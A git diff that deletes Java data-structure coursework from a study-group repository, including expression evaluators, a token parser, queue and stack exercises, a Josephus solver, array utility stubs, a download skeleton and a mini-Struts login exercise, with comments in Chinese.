-    }
-
-    private void divide() {
-        int a = (int) numStack.pop();
-        int b = (int) numStack.pop();
-        numStack.push(a / b);
-    }
-
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index 5cec210e75..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java
deleted file mode 100644
index 8579743fe9..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/Token.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	
-
-}
\ No newline at end of file
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java
deleted file mode 100644
index d3b0f167e1..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private  int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java b/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java
deleted file mode 100644
index 399d3e857e..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-
-}
diff --git a/group23/563253496/week8_datastructure/src/CircleQueue.java b/group23/563253496/week8_datastructure/src/CircleQueue.java
deleted file mode 100644
index f69e5e6c5b..0000000000
--- a/group23/563253496/week8_datastructure/src/CircleQueue.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/**
- * Created by bdl19 on 2017/4/25.
- */
-public class CircleQueue<E> {
-
-    private final static int DEFAULT_SIZE = 10;
-
-    //用数组来保存循环队列的元素
-    private Object[] elementData = new Object[DEFAULT_SIZE];
-
-    //队头
-    private int front = 0;
-    //队尾
-    private int rear = 0;
-
-    public boolean isEmpty() {
-        return this.front == this.rear;
-    }
-
-    public int size() {
-        int size = this.rear - this.front;
-        return size < 0 ? size += DEFAULT_SIZE : size;
-
-    }
-
-
-    public void enQueue(E data) {
-        if (this.isFull()) {
-            System.out.println("队列已满");
-            return;
-        }
-        elementData[this.rear] = data;
-        this.rear = ++this.rear % DEFAULT_SIZE;
-    }
-
-
-    public E deQueue() {
-        if (this.isEmpty()) {
-            System.out.println("队列为空");
-            return null;
-        }
-        E ele;
-        ele = (E) elementData[this.front];
-        this.front = (++this.front) % DEFAULT_SIZE;
-        return ele;
-    }
-
-    public boolean isFull() {
-        if ((this.rear + 1) % DEFAULT_SIZE == this.front) {
-            return true;
-        } else return false;
-    }
-}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/Josephus.java b/group23/563253496/week8_datastructure/src/Josephus.java
deleted file mode 100644
index 3d1425e125..0000000000
--- a/group23/563253496/week8_datastructure/src/Josephus.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/**
- * Created by bdl19 on 2017/4/25.
- */
-
-import java.util.ArrayList;
-import java.util.LinkedList;
-import java.util.List;
-
-/**
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中，
- * N个深陷绝境的人一致同意用这种方式减少生存人数：
- * N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
- * 该方法返回一个List， 包含了被杀死人的次序
- * "[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2)
- *
- * @author liuxin
- */
-public class Josephus {
-
-    public static List<Integer> execute(int n, int m) {
-        List<Integer> result = new ArrayList<>();
-
-        List<Integer> list = new LinkedList<Integer>();
-        int interval = m - 1;
-
-        for (int i = 0; i < n; i++) {
-            list.add(i);
-        }
-        int index = 0;
-        while (list.size() > 0) {
-            /*for (int i = 0; i < m; i++) {
-                index = (++index) % list.size();
-
-            }*/
-            index += interval;
-            index %= list.size();
-            result.add(list.get(index));
-            list.remove(index);
-
-        }
-
-
-        return result;
-    }
-
-}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/JosephusTest.java b/group23/563253496/week8_datastructure/src/JosephusTest.java
deleted file mode 100644
index fb38138a32..0000000000
--- a/group23/563253496/week8_datastructure/src/JosephusTest.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/**
- * Created by bdl19 on 2017/4/25.
- */
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class JosephusTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testExecute() {
-
-        Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
-
-    }
-
-}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/Queue.java b/group23/563253496/week8_datastructure/src/Queue.java
deleted file mode 100644
index e2f5ce9a41..0000000000
--- a/group23/563253496/week8_datastructure/src/Queue.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/**
- * Created by bdl19 on 2017/4/25.
- */
-import java.util.NoSuchElementException;
-
-public class Queue<E> {
-    private Node<E> first;
-    private Node<E> last;
-    private int size;
-
-
-    private static class Node<E> {
-        private E item;
-        private Node<E> next;
-    }
-
-
-    public Queue() {
-        first = null;
-        last  = null;
-        size = 0;
-    }
-
-
-    public boolean isEmpty() {
-        return first == null;
-    }
-
-    public int size() {
-        return size;
-    }
-
-
-
-    public void enQueue(E data) {
-        Node<E> oldlast = last;
-        last = new Node<E>();
-        last.item = data;
-        last.next = null;
-        if (isEmpty()) {
-            first = last;
-        }
-        else{
-            oldlast.next = last;
-        }
-        size++;
-    }
-
-    public E deQueue() {
-        if (isEmpty()) {
-            throw new NoSuchElementException("Queue underflow");
-        }
-        E item = first.item;
-        first = first.next;
-        size--;
-        if (isEmpty()) {
-            last = null;
-        }
-        return item;
-    }
-
-}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java b/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java
deleted file mode 100644
index c960f09bbb..0000000000
--- a/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/**
- * Created by bdl19 on 2017/4/25.
- */
-import java.util.Stack;
-
-/**
- * 用两个栈来实现一个队列
- * @author liuxin
- *
- * @param <E>
- */
-public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;
-    private Stack<E> stack2;
-
-
-    public QueueWithTwoStacks() {
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-
-
-
-    public boolean isEmpty() {
-
-        return stack1.isEmpty();
-    }
-
-
-
-    public int size() {
-        return stack1.size();
-    }
-
-
-
-    public void enQueue(E item) {
-        stack1.push(item);
-    }
-
-    public E deQueue() {
-        E ele ;
-        if (stack1.size() == 0) {
-            throw new RuntimeException("队列为空！");
-        }
-        while (stack1.size() > 1) {
-            stack2.push(stack1.pop());
-        }
-        ele =  stack1.pop();
-        while(!stack2.isEmpty()){
-            stack1.push(stack2.pop());
-        }
-
-        return ele;
-    }
-
-
-
-}
\ No newline at end of file
diff --git a/group23/563253496/week9_datastructure/src/QuickMinStack.java b/group23/563253496/week9_datastructure/src/QuickMinStack.java
deleted file mode 100644
index 3b135521a0..0000000000
--- a/group23/563253496/week9_datastructure/src/QuickMinStack.java
+++ /dev/null
@@ -1,40 +0,0 @@
-//package com.coding.basic.stack;
-
-import java.util.Collections;
-import java.util.LinkedList;
-import java.util.List;
-
-/**
- * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
- * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
- *
- * @author liuxin
- */
-public class QuickMinStack {
-    LinkedList<Integer> list = new LinkedList<Integer>();
-    LinkedList<Integer> temp = new LinkedList<>();
-    int min = Integer.MAX_VALUE;
-
-    public void push(int data) {
-        if (data < min) {
-            min = data;
-        }
-        list.add(data);
-    }
-
-    public int pop() {
-        int num = list.remove(list.size() - 1);
-        if (num == min) {
-            for (int tmp : list) {
-                temp.add(tmp);
-            }
-        }
-        Collections.sort(temp);
-        min = temp.get(0);
-        return list.remove(list.size() - 1);
-    }
-
-    public int findMin() {
-        return min;
-    }
-}
\ No newline at end of file
diff --git a/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java b/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java
deleted file mode 100644
index 238f5cff0f..0000000000
--- a/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/**
- * Created by bdl19 on 2017/5/6.
- */
-
-import java.util.*;
-
-
-public class StackWithTwoQueues {
-
-    private Queue<Integer> queue1 = new LinkedList<Integer>();
-    private Queue<Integer> queue2 = new LinkedList<Integer>();
-
-    public void push(int data) {
-        if(queue2.isEmpty()){
-            queue1.add(data);
-        }else{
-            queue2.add(data);
-        }
-    }
-
-    public int pop() {
-        if (queue1.size() == 0 && queue2.size() == 0) {
-            throw new IndexOutOfBoundsException();
-        }
-
-
-
-        if(queue2.isEmpty()){
-            while(!(queue1.size()==1)){
-                queue2.add(queue1.remove());
-            }
-            return queue1.remove();
-
-        }else{
-            while(!(queue2.size()==1)){
-                queue1.add(queue2.remove());
-            }
-            return queue2.remove();
-        }
-
-
-    }
-
-    public static void main(String[] args) {
-        StackWithTwoQueues s = new StackWithTwoQueues();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        for (int i = 0; i < 3; i++) {
-            System.out.println(s.pop());
-        }
-    }
-}
\ No newline at end of file
diff --git a/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java b/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java
deleted file mode 100644
index 28bc0a30af..0000000000
--- a/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/**
- * Created by bdl19 on 2017/5/6.
- */
-public class TwoStackInOneArray {
-    Object[] data = new Object[10];
-
-    private int index1 = 0;
-    private int index2 = data.length - 1;
-
-    private boolean isFull() {
-        if (index1 == index2) {
-            return true;
-        } else return false;
-    }
-
-    private void extendCapacity() {
-        Object[] temp = new Object[data.length + data.length / 2];
-        for (int i = 0; i <= index1; i++) {
-            temp[i] = data[i];
-        }
-        int indext = data.length - 1;
-        for (int i = temp.length - 1; i >= data.length - index2; i--) {
-            temp[i] = indext;
-            indext--;
-        }
-        index2 = temp.length - (temp.length - index1);
-        this.data = temp;
-    }
-
-    /**
-     * 向第一个栈中压入元素
-     *
-     * @param o
-     */
-    public void push1(Object o) {
-        if (this.isFull()) {
-            extendCapacity();
-        }
-        data[index1] = o;
-        index1++;
-
-    }
-
-    /**
-     * 从第一个栈中弹出元素
-     *
-     * @return
-     */
-    public Object pop1() {
-        index1--;
-        Object o = data[index1];
-        data[index1] = null;
-        return o;
-    }
-
-    /**
-     * 获取第一个栈的栈顶元素
-     *
-     * @return
-     */
-
-    public Object peek1() {
-        return data[index1 - 1];
-    }
-
-    /*
-     * 向第二个栈压入元素
-     */
-    public void push2(Object o) {
-        if (this.isFull()) {
-            extendCapacity();
-        }
-        data[index2] = o;
-        index2--;
-    }
-
-    /**
-     * 从第二个栈弹出元素
-     *
-     * @return
-     */
-    public Object pop2() {
-
-        Object o = data[++index2];
-        data[index2] = null;
-        return o;
-    }
-
-    /**
-     * 获取第二个栈的栈顶元素
-     *
-     * @return
-     */
-
-    public Object peek2() {
-
-        return data[index2 + 1];
-    }
-
-}
\ No newline at end of file
diff --git a/group23/565832157/src/com/coderising/array/ArrayUtil.java b/group23/565832157/src/com/coderising/array/ArrayUtil.java
deleted file mode 100644
index e5ddb476a6..0000000000
--- a/group23/565832157/src/com/coderising/array/ArrayUtil.java
+++ /dev/null
@@ -1,96 +0,0 @@
-package com.coderising.array;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		return null;
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2){
-		return  null;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return null;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		return null;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		return null;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		return null;
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		return null;
-	}
-	
-
-}
diff --git a/group23/565832157/src/com/coderising/download/DownloadThread.java b/group23/565832157/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 900a3ad358..0000000000
--- a/group23/565832157/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){	
-		
-	}
-}
diff --git a/group23/565832157/src/com/coderising/download/FileDownloader.java b/group23/565832157/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index c3c8a3f27d..0000000000
--- a/group23/565832157/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			new DownloadThread(conn,0,length-1).start();
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/565832157/src/com/coderising/download/FileDownloaderTest.java b/group23/565832157/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index 4ff7f46ae0..0000000000
--- a/group23/565832157/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://localhost:8080/test.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/565832157/src/com/coderising/download/api/Connection.java b/group23/565832157/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 0957eaf7f4..0000000000
--- a/group23/565832157/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/565832157/src/com/coderising/download/api/ConnectionException.java b/group23/565832157/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 1551a80b3d..0000000000
--- a/group23/565832157/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/565832157/src/com/coderising/download/api/ConnectionManager.java b/group23/565832157/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/565832157/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/565832157/src/com/coderising/download/api/DownloadListener.java b/group23/565832157/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/565832157/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java b/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index 36a9d2ce15..0000000000
--- a/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.IOException;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		return null;
-	}
-
-	@Override
-	public int getContentLength() {
-		
-		return 0;
-	}
-
-	@Override
-	public void close() {
-		
-		
-	}
-
-}
diff --git a/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 172371dd55..0000000000
--- a/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coderising.download.impl;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		
-		return null;
-	}
-
-}
diff --git a/group23/565832157/src/com/coderising/litestruts/LoginAction.java b/group23/565832157/src/com/coderising/litestruts/LoginAction.java
deleted file mode 100644
index dcdbe226ed..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/565832157/src/com/coderising/litestruts/Struts.java b/group23/565832157/src/com/coderising/litestruts/Struts.java
deleted file mode 100644
index 6df190d484..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/Struts.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.litestruts;
-
-import java.lang.reflect.Method;
-import java.util.Map;
-
-
-
-public class Struts {
-
-	
-    public static View runAction(String actionName, Map<String,String> parameters) {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-    
-    	return null;
-    }    
-
-}
diff --git a/group23/565832157/src/com/coderising/litestruts/StrutsTest.java b/group23/565832157/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index b8c81faf3c..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
